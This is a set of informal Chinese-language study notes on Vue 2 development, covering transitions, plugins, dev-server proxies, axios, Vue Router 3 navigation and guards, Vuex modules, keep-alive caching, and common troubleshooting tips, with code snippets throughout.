- transiton 标签不配置 name 属性时,默认
样式:
- v-enter 进入起点 v-enter-active 进入过程中 v-enter-to 进入完成
- v-leave 离开起点 v-leave-active 离开过程中 v-leave-to 离开完成
- 实际需要使用类名根据需要用就行
- 如果使用动画,一般只需要使用两个过程就行
- 如果使用过度,则需要使用
css<template> <div> <button @click="isshow = !isshow">点我切换</button> /* 单个动画元素 */ <transition name="elo" :appear="true"> <h1 v-show="isshow">我是大标题</h1> </transition> /* 多个动画元素 */ <transition-group name="elo" :appear="true"> <h1 v-show="isshow" key="1">我是大标题</h1> <h1 v-show="!isshow" key="2">我是大标题2</h1> </transition> </div> </template> <script> export default { name: "App", data() { return { isshow: true, }; }, }; </script> <style scoped> /* 使用动画 */ h1 { height: 100px; line-height: 100px; width: 500px; background-color: rgb(84, 177, 55); } @keyframes donghua { 0% { transform: translateX(-600px); } 100% { transform: translateX(0px); } } .elo-enter-active { animation: donghua 2s linear; } .elo-leave-active { animation: donghua 2s linear reverse; } /* 使用过渡 */ h1 { height: 100px; line-height: 100px; width: 500px; background-color: rgb(84, 177, 55); transition: all 1s linear; } .elo-enter, .elo-leave-to { transform: translateX(-600px); } .elo-leave, .elo-enter-to { transform: translateX(0px); } </style>
Vue 插件
功能:用于增强 Vue,使用插件后 就可以在所有的组件中使用插件提供的内容
本质:包含
install
方法的一个对象,install
的第一个参数是 Vue,第二个以后的参数是插件使用者传递的数据定义插件:与 main.js 平级,创建 js 文件
可以添加全局过滤器、全局指令、全局混入、全局过滤器、添加原型实例方法,基本无敌!!!
- js
export default { install(Vue) { // 第一个参数是 Vue,借助它可以做很多事 console.log(Vue); // 定义全局指令 Vue.directive("fbind", { // 具体操作。。。 }); // 定义全局混入 Vue.mixin({ //所有vue实例对象的配置都可以使用 }); // 给Vue原型上添加方法 Vue.prototype.hello = () => { //hello方法的内容。。 }; }, };
使用插件:
- 在
main.js
文件中引入插件import 自定义插件名 from '插件路径'
- 再 Vue.use(插件名),普通的不依赖 vue 的库不需要 use。
- 可以在所有地方使用插件提供的内容
- 在
配置代理
- 借助 vue 脚手架解决 ajax 跨域问题,开启代理服务器
axios 使用
其他函数书写方法,看 ajax
使用步骤:
js// 1.下载axios npm i axios // 2.在main.js中引用 并 绑定到Vue原型上 import axios from "axios"; Vue.prototype.$axios = axios; // 3.可以在任意组件中使用 $axios this.$axios({...})
使用 vue 触发 ajax 发请求的函数
- js
this.$axios({ url: "http://127.0.0.1:8080/api", method: "post", params: { id: "007", }, data: { name: "小月", }, }) .then((res) => { console.log("请求结果:", res); }) .catch(function (err) { console.log(err); });
vue-resource(淘汰)
// 安装 npm i vue-resource
// 引入 main.js 中
import Vue from "vue";
import vueResource from "vue-resource";
// 使用Vue插件
Vue.use(vueResource);
v-cli 开启代理服务器
仅本地生效果,打包后放在服务器仍需借助 nginx
方法 1:
进行 Vue 配置,在项目根目录创建
vue.config.js
文件本地请求发送就发送到本地代理服务器即可,由本地代理服务器进行转发,带上路径
修改配置文件后,需要重启代码,才会生效
相当于:告诉开发服务器将任何未知请求 (没有匹配到静态文件的请求) 代理到指定服务器
缺点:
- 当项目文件中存在与代理请求文件冲突时,代理失效
- 无法同时代理多个服务器请求
- 不灵活,无法控制是否走代理(本地)
- js
module.exports = { //关闭语法检查 lintOnSave: false, devServer: { //开启代理服务器,告诉浏览器代理转发发给谁,不需要带具体路径 proxy: "http://127.0.0.1", //配置npm run serve时使用的端口号 port: 8080, }, };
- js
module.exports = { //关闭语法检查 lintOnSave: false, devServer: { port: 8888, // 设置前端项目的端口号,npm run serve时使用的端口号 //开启代理服务器,告诉浏览器代理转发发给谁,不需要带具体路径 proxy: { // 当页面中请求路径是 /api 开头的请求都会走这里 "/api": { target: "http://127.0.0.1", // 服务器端url ws: true, // 请求路径重写 pathRewrite: { // 路径重写规则 "^/api": "", // 将/api开头的替换为 '' }, changeOrigin: true, // 解决跨域问题 }, }, }, };
方法 2(推荐):
请求资源是需要加请求前缀
优点:
- 可以配置多个请求代理
- 能够隐藏自己的身份,请求头的 host 信息
- js
module.exports = { // 两种开启代理服务器的方法不能同时使用 devServer: { proxy: { // "/api" 表示代理服务器请求的前缀,根据需要自定义 // 请求前缀默认是请求路径的一部分,且是最开始的部分 // pathRewrite:{'^/api':''},正则,路径重写,将以api开头的部分置为空,消除请求前缀对路径的影响 // target 请求的url "/api": { target: "http://127.0.0.1", pathRewrite: { "^/api": "" }, // ws:true, 用于支持websocket ws: true, // changeOrigin: true 控制请求头中的 host值 // true 表示隐藏自己的请求来源,避免请求拦截 // false 表示实话实说,会告诉请求的服务器自己的地址 changeOrigin: true, }, "/wzt": { //配置多个代理,直接追加配置项即可 target: "http://127.0.0.2", pathRewrite: { "^/wzt": "" }, ws: true, changeOrigin: true, }, }, }, };
动态组件
属性
- is:决定那个组件被渲染,string | ComponentDefinition | ComponentConstructor
- vue
<!-- 动态组件由 vm 实例的 `componentId` property 控制 --> <component :is="componentId"></component> <!-- 也能够渲染 注册过的组件 或 prop传入的组件 --> <component :is="$options.components.child"></component> <!-- 切换组件时会重新创建 希望它能被缓存下来,可用 <keep-alive> 将其动态组件包裹 注意: <keep-alive> 要求被切换到的组件都有自己的名字,不论是通过组件的 name 选项还是局部/全局注册。 --> <keep-alive> <component v-bind:is="currentTabComponent"></component> </keep-alive>
异步组件
- 将应用分割成小一些的代码块,并且只在需要的时候才从服务器加载;
- 异步解析你的组件定义,且会把结果缓存起来供未来重渲染
- 经常在路由引用时使用 ,必须使用 Vue Router 2.4.0+
components: { 'my-component': () => import('./my-async-component') }
Vue-router 3
实质就是 vue 的一个插件库,实现页面不刷新的切换,即单页面应用(SPA 应用)
- SPA:单页 web 应用
- 整个应用只有一个完整的页面
- 点击页面中的导航链接不会刷新页面,只进行页面的局部刷新
- 什么是路由?
- 一个路由就是一组映射关系(key---value)
- key 为路径,value 可能是 function 或 component(组件)
- 路由的分类
- 后端的路由:
- value 是 function,用于处理客户端提交的请求
- 工作过程:服务器接收到一个请求时, 根据请求路径找到匹配的函数来处理请求, 返回响应数据。
- 前端路由:
- value 是 component,用于展示页面内容
- 工作过程:当浏览器的路径改变时, 对应的组件就会显示
- 后端的路由:
路由配置
- 下载对应的插件库
npm i vue-router@3
- vue-router 默认版本为 4,且 4 版本只能在 vue3 中使用
- vue-router 3 才能在 vue2 中使用
- 如果将 vue-router 4 安装在 vue2 中会报错!!!
- main.js 文件的修改
// 在main.js中引入路由插件
import VueRouter from "vue-router";
// 引入路由的配置
import routers from "./router/index.js";
// 使用vue插件库
Vue.use(VueRouter);
new Vue({
el: "#app",
render: (h) => h(App),
// 创建vm时,传入路由配置暴露的路由routers
router: routers,
});
- 创建 pages 文件夹,用于存放路由组件;components 文件夹,用于存放一般组件
- 与 components 文件夹平级,创建 router 文件夹,再创建 index.js 进行路由配置
// index.js专门用于常见整个应用的路由器
// 引入VueRouter路由插件 再引入所有使用到的组件
import VueRoter from 'vue-router'
import About from '../pages/About'
import Home from '../pages/Home'
import HomeOne from '../pages/HomeOne'
// 创建并暴露 一个路由器routers
export default new VueRouter({
routes:[
// 一级路由 path:路由的路径 component:路由的组件名
{
name:'about',
path:'/about',
// meta 自定义路由信息,在路由跳转时可以获取使用
meta:{
// 设置页面标题 (配合路由守卫document.title = to.meta.title)
title:'关于我们',
},
// component:About,
component:()=>import('../pages/About.vue');
},
{
path:"/home",
component:Home,
// 二级路由
children:[
{
path:"homeOne",
component:HomeOne,
}
]
}
]
})
基础路由
- 使用
<router-link>
标签替代 a 标签,实现跳转且不刷新页面,页面显示时仍为 a 标签。
<!--
路由链接 配置属性:
to:设置跳转的路由,值为配置中的path路径
active-class:当元素被点击时,追加指定的样式,点击其他内容时再自动取消这个样式
-->
<router-link class="样式名" to="/about" active-class="触发时的样式名"
>about</router-link
>
<router-link class="样式名" to="/home" active-class="触发时的样式名"
>home</router-link
>
<!-- 指定路由 显示的位置,使用 <router-view>标签占位 -->
<router-view></router-view>
嵌套路由
编程式路由导航
- 不借助
<router-link>
标签,实现路由跳转,让路由跳转更加灵活 - 关于
$router
- 每个路由组件 vc 上都会多一个
$router
和一个$route
- 整个应用只有一个
router
,可以通过$router
获取到 - 每个组件都有自己的
$route
,里面存储着自己的路由信息
- 每个路由组件 vc 上都会多一个
- 路由传参
- query 传参要用 path 来引入,params 传参要用 name 来引入
- 使用 params 传参只能使用 name 进行引入
- params 是路由的一部分,必须要在路由后面添加参数名。query 是拼接在 url 后面的参数,没有也没关系
- params 一旦设置在路由,params 就是路由的一部分,如果这个路由有 params 传参,但是在跳转的时候没有传这个参数,会导致跳转失败或者页面会没有内容。
- uery 传递参数(直接拼接在地址后面,会显示在 url 后面)
- 使用 params 传参只能用 name 来引入路由,即 push 里面只能是 name:’xxxx’,不能是 path:’/xxx’,因为 params 只能用 name 来引入路由,如果写成了 path,接收参数页面会是 undefined!!!
- query 相当于 get 请求,页面跳转的时候,可以在地址栏看到请求参数,而 params 相当于 post 请求,参数不会再地址栏中显示
- query 传参要用 path 来引入,params 传参要用 name 来引入
- 具体编码
// $router 的API
// push 追加操作浏览记录
this.$router.push({
// name 指定跳转的路由名
name: "xiangqian",
//path:xxx
// params 携带参数
// 使用参数数据:在跳转的组件中 使用this.$route获取,可以log查看一下
params: {
id: xxx,
title: xxx,
},
});
// replace 替换原有历史记录,不保留上一层
this.$router.replace({
name: "xaingqian",
params: {
id: xxx,
title: xxx,
},
});
// 前进1次
this.$router.forward();
//后退1次
this.$router.back();
//前进或后退指定次数,参数为数字,可以为负数
this.$router.go();
路由守卫
- 细节:
- 路由守卫可以检测 · 浏览器自带的前进回退按钮,进行拦截操作
全局路由守卫
在 router.js 中,对路由实例化对象 router 绑定守卫规则。在 main.js 中使用守卫是全局守卫。
- 前置路由守卫
- 每次切换之前被调用,可以做权限拦截
- to:进入到哪个路由去 from:从哪个路由离开 next:函数,决定是否展示你要看到的路由页面。
- 后置路由守卫(不常用)
- 每次切换之后调用, 可用于切换 document.title
- 只有两个参数,to:进入到哪个路由去,from:从哪个路由离
import VueRouter from "vue-router";
... // 引入使用的路由组件
// 配置路由规则
const routers = new VueRouter({
mode: 'hash',
routes: [{
path: "/",
name: 'Login',
component: Login,
}]
})
//配置路由守卫
routers.beforeEach((to,from,next)=>{
if(to.path == '/login' || to.path == '/register'){
next(); // 允许此次路由跳转
}else{
alert('您还没有登录,请先登录');
next('/login'); // 指定跳到路由
}})
// 每次切换路由时,都会弹出alert,点击确定后,展示当前页面
router.afterEach((to,from)=>{ alert("after each") })
export default routers
组件内路由守卫
写在组件中,与生命周期钩子平级,进行配置,next() 与上面有差异
// 到达当前组件时
beforeRouteEnter: (to, from, next) => {};
// 离开当前组件时
// 确认执行next() 取消执行next(false),留在当前页面
beforeRouteLeave: (to, from, next) => {
if (confirm("确定离开当前页面吗?") === true) {
next();
} else {
next(false);
}
};
独享路由守卫
import VueRouter from "vue-router";
import Island from "../pages/Island";
import Polaris from "../pages/Polaris";
export default new VueRouter({
routes: [
{
component: Island,
path: "/Island",
props: ($routes) => ({
id: $routes.query.id,
title: $routes.query.title,
}),
},
{
component: Polaris,
path: "/Polaris",
// 组件独享路由守卫,只针对当前路由,只有前置没有后置
beforeEnter: (to, from, next) => {
next();
},
},
],
});
重定向
- 将当前路径解析为其他路径,改变 url
- redirect 配置项
const router = new VueRouter({
mode: "history",
base: __dirname,
routes: [
{
path: "/",
component: Home,
children: [
{ path: "", component: Default },
{ path: "foo", component: Foo },
{ path: "bar", component: Bar },
{ path: "baz", name: "baz", component: Baz },
{ path: "with-params/:id", component: WithParams },
// relative redirect to a sibling route
{ path: "relative-redirect", redirect: "foo" },
],
},
// absolute redirect
{ path: "/absolute-redirect", redirect: "/bar" },
// dynamic redirect, note that the target route `to` is available for the redirect function
{
path: "/dynamic-redirect/:id?",
redirect: (to) => {
const { hash, params, query } = to;
if (query.to === "foo") {
return { path: "/foo", query: null };
}
if (hash === "#baz") {
return { name: "baz", hash: "" };
}
if (params.id) {
return "/with-params/:id";
} else {
return "/bar";
}
},
},
// named redirect
{ path: "/named-redirect", redirect: { name: "baz" } },
// redirect with params
{ path: "/redirect-with-params/:id", redirect: "/with-params/:id" },
// redirect with caseSensitive
{ path: "/foobar", component: Foobar, caseSensitive: true },
// redirect with pathToRegexpOptions
{
path: "/FooBar",
component: FooBar,
pathToRegexpOptions: { sensitive: true },
},
// catch all redirect
{ path: "*", redirect: "/" },
],
});
动态追加路由
注意点:
默认被切换走的组件被直接销毁,而不是普通的隐藏,需要的时候再进行挂载
- js
import VueRouter from "vue-router"; import Vue from "vue"; // 重复点击路由出现的bug const originalPush = VueRouter.prototype.push; VueRouter.prototype.push = function (location) { return originalPush.call(this, location).catch((err) => { console.log(err); }); };
VueX
专门在 Vue 中实现集中式状态(数据)管理的 Vue 插件,属于组件间通信的一种,适用于任意组件。
state 集中式静态数据 getters 集中式计算属性 actions 集中式逻辑
什么时候使用 VueX
- 多个组件依赖同一状态
- 来自不同组件的行为需要同一状态
使用习惯:
- actions 中的方法名采用小写,mutions 中的方法名采用大写,易于调用时区分
- 将业务逻辑写在 store 中的 actions 配置中,便于业务逻辑代码的复用(发 ajax 请求\操作数据...)
- 对于不需要执行其他业务逻辑的数据,可以直接在组件中调用 commit 方法,跳过 dispatch 方法
this.$store.commit('mutations中配置的方法',data)
搭建 VueX 环境
- js
//1. npm i vuex@3 Vue2中安装VueX3 //1. npm i vuex Vue3中安装VueX // 2.在src文件夹下,新建store文件夹,再建index.js,写入以下内容 import Vue from "vue" // 引入VueX import Vuex from "vuex" // 使用 Vuex插件 Vue.use(Vuex); // 准备actions 用于相应组件的动作 const actions = {} // 准备mutations 用于操作数据 state const mutations = {} // 准备state 用于存储数据 const state = {} // 准备getters 类似于组件的computed计算属性,使用return返回值 const getters = { bigsum(stare){ return stare.sum*10 } ... } // 创建并暴露store export default new Vuex.Store({ actions, mutations, state, getters }) // 3.在main.js入口文件中引入并传入store import store from "./store/index.js" new Vue({ store, //传入store内容 })
非模块化 使用 Vuex
事件处理函数中使用,
this.$store.state.数据名
this.$store.getters.数据名
- 将公共的数据配置在 vuex 的 state 配置中
- 在组件中配置方法中,适时调用 dispatch 触发 actions 中配置的方法
this.$store.dispatch('actions中配置的事件名',data)
- 在 actions 中配置对应的方法,接受两个参数
- 参数 1:提供上下文一系列方法的对象,一般命名为 context
- context.dispatch() 可以跳转到另一个 actions 处理函数
context.commit('mutations中配置的方法',data)
执行下一步
- 参数 2:组件中调用该方法时传递的数据
- 参数 1:提供上下文一系列方法的对象,一般命名为 context
- 在 mutations 中配置对应的方法,拥有两个参数
- 参数 1:state 中保存的数据,可以在这里进行修改
- 参数 2:接受到上一步传递过来的数据,data
Vuex 模块化+namespace
问题:当业务逻辑越来越复杂之后,store 的 index.js 文件将变得臃肿,不便于管理
解决方法:采用模块化形式,对 store 中的各种配置按需求分为不同的模块
js// 在store文件夹下 // 各种分类的配置文件 xxx.js 采用同一暴露 export default={ actions:{}, mutations:{}, ... } // index.js 中 引入各种Vuex配置文件 import 命名 from './xxx.js'; .....; export default new Vuex.store({ modules:{ 自定义使用命名:配置文件引入时的命名, 自定义使用命名:配置文件引入时的命名, ... } })
js// 对 store中的配置进行分类 const counOptions = { namespaced:true, // 开启命名空间,默认为false时不能在组件中通过名称找到该配置 actions:{}, mutations:{}, state:{}, getters:{} } // 同上的其他配置 .... // 创建并暴漏 store中的各种配置 export default new Vuex.store({ modules:{ counAbout:counOptions, ...... } }) // 在组件中按需配置使用数据,对应配置必须开启命名空间 namespaced:true; computed:{ sum(){ return this.$store.state.暴露的配置名.数据1; }, bigsum(){ return this.$store.getters['暴露的配置名/数据名','暴露的配置名/数据名']; }, ...mapState:('暴露的配置名1',['数据1','数据2'...]), ...mapState:('暴露的配置名2',['数据1','数据2'...]), ...mapGetters:('暴露的配置名1',['数据1','数据2'...]) } // 操作数据时,调 commit dispatch this.$store.dispatch('暴露的配置名/方法名',数据);
简写优化
js// 存在的问题:使用数据/修改数据 时需要单独配置 computed/methods比较繁琐 // 借助 Vuex提供的方法进行简化 // 第一步:在组件中按需引入 import {mapState,mapGetters,mapMutations,mapActions}; // 在组件的对应位置使用它们 computed:{ // 传统写法 自定义数据名(){ return this.$store.state.暴露的配置名.数据名; }, 自定义数据名(){ return this.$store.getters.暴露的配置名.数据名; }, // 数组写法 ...mapState(['数据名1','数据名2'...]), ...mapGetters(['数据名1','数据名2'...]), // 对象写法 ...mapState({自定义名:'数据名1',自定义名:'数据名2'...}), ...mapGetters({自定义名:'数据名1',自定义名:'数据名2'...}), } methods:{ // 传统写法 jia(){ this.$store.dispatch('jia',传递的数据); }, Jia(){ this.$store.commit('JIA',传递的数据); }, // 数组写法 ...mapActions(['jia','jian']), ...mapMutations(['JIA','JIAN']), // 对象写法 ...mapActions({jia:'jia',jian:'jian'}), ...mapMutations({Jia:'JIA',Jian:'JIAN'}) } // 使用时可直接用 this.jia(传递的数据); this.JIA(传递的数据)
其他技巧
杂项
vue 文件路径中 @ 表示 src 目录 例:@/store/index.js
手动强制视图刷新
this.$forceUpdate();
- 解决当使用 v-for 循环产生页面后,修改数据后界面不刷新的问题
访问根实例 vm($root 属性 只读)
- 在任意组件中,使用 this.$root 可直接访问到根式例 wm 上的内容(data、methods、computed)
- 可以用来实现任意组件间通讯
访问父组件实例($parent 只读)
- 在子组件用 this.$parent 中访问父组件中的实例,可"替代" props 父子间传递数据
访问子组件实例($)
Vuex 表单处理
在表单输入时,如果 v-model 绑定 vuex 中的数据,试图修改时报错!
- js
// 单独配置计算属性,设置get和set computed:{ data1:{ get(){ return this.$store.state.data1; }, set(value){ this.$store.commit('updata1',value); } } }
会话跟踪
传统项目:采用服务器端 Session 实现,保存在前端 cookie 中
- js
// 前端配置,让前端每次请求都带上用于跟踪用户会话的 Cookie报头 axios.defaults.withCredentials = true; // 服务器端可通过拦截器的方式统一设置响应报头 // 服务器端配置 前者不能使用 * 号 res.setHeader("Access-Control-Allow-Origin", "前端部署的服务器或域名IP"); res.setHeader("Access-Control-Allow-Credentials", "true");
使用自定义 token
- 后端生成唯一的 token,必要时通过公私钥进行加密,通过响应报头发给前端
- 前端使用 axios 拦截器,进行 token 的统一处理,每次都携带 token;使用 Vuex 进行 token 进行动态管理
构建发布版本
在开发完成后,因调试使用的 alert() 或 console.log() 语句,在打包后需要删除
在 VueCLI 3.x 打包发布版本时,使用
terser-webpack-plugin
插件进行优化- js
// 在node_modules\@vue\cli-service\lib\config\terserOptions.js下 添加如下配置 module.exports = options => ({ terserOptions: { compress: { ...... warnings:false, drop_console:true, drop_debugger:true, pure_funcs:['console.log','alert'], }, .... }, .... })
代码打包构建后,产生的文件下存在一些 .map 文件
map 文件在开发过程中用于在控制台做代码提示等,在生产环境下没有实际用途
- js
// 在打包时剔除 map文件 在项目的 vue.config.js文件下 module.exports={ ..., productionSourceMap:process.env.NODE_ENV === 'production' ? false :true, }
136-103
自定义一堆全局组件
数据让用户自己传,交出接口参数
自定义常用插件,增强 Vue,提高开发效率
前提:足够多的编码经验
性能优化---------
内置指令的使用
- v-if 和 v-show
- 需要频繁进行切换的使用 v-show ,相当于 display:none,不会导致 DOM 重构
- v-show 无论什么情况都会进行渲染
- 只在页面加载时确定是否要加载,且后期不常切换时,使用 v-if,操作 DOM 结构
- v-if 是真正的条件渲染,是惰性的,可以节省开销
- 列表渲染
- v-for 中使用合适的 key 值,尽可能避免使用索引值,减少页面重构
- 跳过编译过程 v-pre
- 只进行一次 DOM 渲染,v-once
- 因为不便于维护且效果不明显而不常用
使用冻结对象
部分数据可能并不需要使用到响应式,只在第一次可能发生变动,可以使用冻结对象解除响应式,从而提升效率。
this.xxx = Object.freeze(datas)
生命周期钩子
- 在 created 中发起 ajax 请求,此时刚好可以拿到 data 中的数据
- 在 beforeDestroy 中清除定时器、解绑自定义事件、取消订阅消息等
虚拟 DOM 与 Diff 算法
- Vue 中就地更新策略
- 思想:在数据发生改变时,将需要更新的这一部分视图进行更新,不会更新所有的视图
- 原理:根据 dom 上的唯一标识进行判断是否需要更新,例:v-for 的 key 值
- key 值:是 Vue 为便于跟踪每个节点的身份,从而实现"就地更新策略",为每一项提供唯一 key
- 对 DOM 进行复用和重排,实现更高效的 DOM 更新
- 两个假设前提条件:
- 同一层级的节点,可以通过唯一 id 进行区分
- 相同的组件产生相同的 DOM 结构,不同的组件产生不同的 DOM
- 同一层级的节点,可以通过唯一 id 进行区分
keep-alive(路由缓存)
- 将内部本来要被销毁的组件的实例对象缓存起来,保留组件状态、避免重新渲染
- 被 keep-alive 缓存的组件生死将不由己,会失去初始化阶段和卸载阶段的生命周期,会被替换成 activated(激活)和 deactivated(失活)生命周期
- 标签属性
- include 标签属性
字符串或正则表达式
- 根据组件名称,可以针对某几个组件进行缓存
- 注意:不是 router 配置中的 name,而是组件的命名
- exclude 标签属性
字符串或正则表达式
- 根据组件名称,可以针对某几个组件不进行缓存
- max 标签属性
数字
- 可以控制最多缓存多少个组件实例对象,因为实例对象也需要占用内存空间,所以需要考虑缓存多少个
- 如果达到 max 上限时,在新实例被创建之前,已缓存组件中最久没有被访问的实例会被销毁掉
- include 标签属性
组件按需引入
component:()=>import('../pages/About.vue');
Vue Lazy Component
Vue.js 2.x 组件级懒加载方案
其他概念
Vue 官网
- 教程(学习的路)
- API(学习的路)
- 风格指南(学完后 再进行代码规范化)
- 实例
- Cookbook (vue 使用技巧)
- 工具(Vue CLI 脚手架)
- 核心插件(Vue Router 路由)
- 主题
- Awesome Vue(官方推荐的组件库)
插件/库
- 引用第三方库,做一些事情
- 比较有名的库:
moment.js
:是一个 js 日期处理类库,用于解析、检验、操作、以及显示日期day.js
:是一个轻量级的处理时间和日期的 js 库,和 moment.js 的 API 设计一致axios
:
- 使用方法:
- 使用加速的 CDN 服务网站,找寻需要的库文件
- 引入 js 文件链接 或 直接下载 js 文件
- 去相应的 github 仓库查看使用文档
- 插件库在使用时,先下载,在使用 import 引入,最后使用 Vue.use(插件名) 使用插件
uuid 标准
- 作用:制定了规则,生成全球唯一的字符串
- 使用了地理位置、MAC 地址、。。。。。混合生成
- 缺点:文件较大,生成的字符串过长
nanoid
- 作用:是 uuid 的精简版,
- 安装:在项目目录下
npm i nanoid
- 使用说明:
- 采用分别暴露的方式引入
import {nanoid} from 'nanoid'
- 直接调用
nanoid()
,就会返回一随机数
vue-resource 插件
- 对 ajax 封装的 vue 插件库,了解即可
pubsub.js
reset-css
- 样式清除工具,去除一些不好的默认的样式,例如:
*{margin:0; padding:0}
- 下载
npm install reset-css
- main.js 中引入
import 'reset-css'
- 样式清除工具,去除一些不好的默认的样式,例如:
- shell
# 安装animate库 npm install animate.css --save # 在组件中引入样式库 import "animate.css" # 在transition中配置 name="animate__animated animate__bounce" # 挑选动画放在合适的位置 <transition name="animate__animated animate__bounce" enter-active-class="动画名" leave-active-class="动画名" appear >
挑选动画后,直接复制动画名,设置为 vue 的进入/离开的动画名
Cookie
所在位置: 开发者工具--应用程序--存储--Cookie
获取登录成功的网页的 Cookie,手动将其获取后,就可以在任意浏览器登录该网站
借助插件批量获取---插件名:
Cookie-Editor
js 拿取 Cookie
document.cookie
,会返回当前网站的 cookie 的对象字符串- 设计时的安全性校验:当
HttpOnly
选项被勾选时,只有 http 协议可以读取和携带 - 被 HttpOnly 保护的 cookie 值不会被
document.cookie
获取
- 数据劫持:当数据修改时,被 set()劫持后进行修改和解析模板,数据劫持和数据代理都离不开
Object.defineproperty
- debugger 在代码中写入该指令,会在运行到此处是,停止解析
其他需要补充的知识点
- event 对象
e.target
返回触发此事件的元素(事件的目标节点)e.keyCode
(不推荐,已被标准废弃)返回 onkeypress 事件触发的键的值的字符代码,或者 onkeydown 或 onkeyup 事件的键的代码e.key
在按下按键时返回按键的标识符。
表单标签及相关操作
- submit:表单提交就触发表单的 submit 事件
- 默认的 button 按钮作用
- input 各个属性的含义
- form 的属性
- 使用 vue 的事件修饰符可以阻止默认的跳转事件
instanof 是什么?
---使用记录---
ToDolis 案例
- 数据在哪里,操作数据的方法就在那里
- 所有的方法命名时注意不要用关键字或保留字,否则报错! (可以适当长一些,多个词)
- prop 传给孩子的数据,如果孩子用 data 使用,相当于给孩子复制一份,不会再受父级数据的改变
性能优化
:key
的合理使用,减少 vue 内核再次渲染的压力,模板复用
key 值的设置
便捷,但不太靠谱的方法
- 使用索引值,极不推荐
- 使用随机数,可能偶发冲突
Math.random()
- 使用当前的时间戳,存在不和理性
Date.now()
推荐方法
- uuid 标准
- 作用:制定了规则,生成全球唯一的字符串
- 使用了地理位置、MAC 地址、。。。。。混合生成
- 缺点:文件较大,生成的字符串过长
- nanoid
- 作用:是 uuid 的精简版,
- 安装:在项目目录下
npm i nanoid
- 使用说明:
- 采用分别暴露的方式引入
import {nanoid} from 'nanoid'
- 直接调用
nanoid()
,就会返回一随机数
组件内传参数
- 为绑定事件传递参数,直接在标签的事件名后添加
(参数)
即可 - 参数可以是任何一个能通过模板语法获得的表达式/值
<!-- 为绑定的点击事件传递参数 -->
<input type="checkbox" :checked="todo.checkeds" @click="shanchu(todo.id)"></input>
父子组件传值
传数据(父-子)
- 把数据放在父组件中
- 使用 propos 配置项,共享数据给子组件
- 子组件不能修改 props 配置项接收到的数据,请看下一跳
- 父组件中的数据使用数组,子组件就可以通过数组的索引值更改父组件中的数据
传方法(子-父)
- 传递方法让子组件调用,让子组件使用父组件的方法
- 可以将子组件的数据返回到父组件中使用
methods:{ receive(x){ console.log(x); } }
数据的展示
使用
v-for
遍历已有的数据配合插值语法或 vue 指令展示内容
在标签中传值时,一定记得加: 表示传递的是表达式,而不是字符串
使用 V-html 配合字符串拼接,实现 js 动态创建页面结构
vue<template> <div class="navBox" v-html="navEle"></div> </template> <script> export default { name: "App", data() { return { navEle: "", navList: [ { id: 1, name: "总览", parentid: null }, { id: 2, name: "山东", parentid: 1 }, { id: 3, name: "河北", parentid: 1 }, { id: 4, name: "河南", parentid: 1 }, { id: 5, name: "济南", parentid: 2 }, { id: 6, name: "青岛", parentid: 2 }, { id: 7, name: "烟台", parentid: 2 }, { id: 8, name: "石家庄", parentid: 3 }, { id: 9, name: "唐山", parentid: 3 }, { id: 10, name: "历下区", parentid: 5 }, { id: 11, name: "市中区", parentid: 5 }, { id: 12, name: "天桥区", parentid: 5 }, ], }; }, methods: { getNav(pid = 1) { var str = ""; this.navList.forEach((item) => { if (item.id == pid) { str += `<div class="title">${item.name}</div> <ul class="layer1"> `; } if (item.parentid == pid) { str += ` <li>${item.name} <ul class="layer2">${this.getSubNav(item.id)}</ul> </li>`; } }); this.navEle = str; }, getSubNav(id, sub = 0) { var str = ""; sub++; this.navList.forEach((item) => { if (item.parentid == id) { str += ` <li> ${item.name} <ul class="subnav${sub}">${this.getSubNav(item.id, sub)}</ul> </li>`; } }); return str; }, }, mounted() { this.getNav(); }, }; </script>
常见问题
vue 中使用 jsx 语法,封装 showMsg
打包后资源路径问题:
默认可以直接放在服务器根目录,但如果放在子集目录下资源请求可能会存在问题
- vite 创建的 vue 项目 参看构建生产版本 | Vite 官方文档
- vue-cli 创建的项目:
// vue cli创建的项目, 在项目根目录新建 vue.config.js
module.exports = {
publicPath: "/html/front", // 放置index.html的服务器路径
};
深度选择器
引⽤第三⽅组件,如果需要在组件中局部修改第三⽅组件的样式,⽽⼜不想去除 scoped 属性造成组件之间的样式污染,可以⽤>>>的⽅式穿透 scoped;
原理:vue 打包时会对样式名等进行重新编码,这里注明后可避免被重新编码命名
>>>
只作用于 css、sass/lesss 中可能无法识别_需要使用/deep/
选择器- vue3 中 使用
:deep()
替代/deep/
<!--
深度作用选择器 >>>
可用于选中UI组件底层内部的标签内容,
默认只能控制到最外层,除非移除scoped
-->
<style scoped>
.fuck >>> .weui-cells {
...;
}
</style>
<!-- sass/lesss 可能无法识别,需要使用 /deep/ 选择器 -->
<style lang="scss" scoped>
.select {
width: 100px;
/deep/ .el-input__inner {
border: 0;
color: #000;
}
}
</style>
路由重复点击报错
vue-router 的官方错误
解决方案:
对 vue-router 进行降级处理(不推荐)
npm i vue-router@3.0.7
在路由操作时捕获异常,但不处理异常
jsthis.$router .replace({ name: "Guang", }) .catch(() => {});
直接修改原型方法 进行改造(推荐)
js// 例:改造 push方法 // 将以下代码直接粘贴到 router/index.js 中的 Vue.use(VueRouter)之前 const originalPush = VueRouter.prototype.push; VueRouter.prototype.push = function (location) { return originalPush.call(this, location).catch(() => {}); }; const originalReplace = VueRouter.prototype.replace; VueRouter.prototype.replace = function (location) { return originalReplace.call(this, location).catch(() => {}); };
不常见的语法错误:
v-if 中不能使用
?.
运算符,否则项目运行报错
无法获取 location.serach
使用了 hash 导致,因为 hash 会将 url 中第一个#后的内容都作为 hash 内容,所以 search 为空了.
解决办法
- js
var search = window.location.hash.split("?")[1]; console.log(search); // id=1&time=2021-11-23
路由传参_空白页
路由传参,当用户使用浏览器的前进后退按钮,可能导致界面空白
- 错误的解决方案
- 使用
<keep-alive>
指定路由缓存(复用的组件,选择不同内容时,无法重新获取数据) - 使用 replace 替换路由,用户无法回退(体验极差)
- 使用
- 解决思路
- 使用路由守卫,拦截路由回退,当从详情页跳转到其他非详情页面时并且是回退按钮,删除当前详情页面的历史记录
- 路由守卫是否可以 检测到浏览器的前进回退按钮
- 路由拦截到之后,如何删除当前页面的历史记录?
- 监测组件的激活与失活(每个页面都要加,即使是结合 mixin 也比较麻烦)
- 在失活时保存当前数据的 id
- 激活时判断当前 id 与之前保存的 id 是否一致
- 不一致就重新获取数据
- 动态路径,使用路由缓存
- 将对应详情页的唯一标识放在 url 路径中,不同路径就会发起新的请求
- 不使用路由传参,借助 sessionstroage 临时保存参数
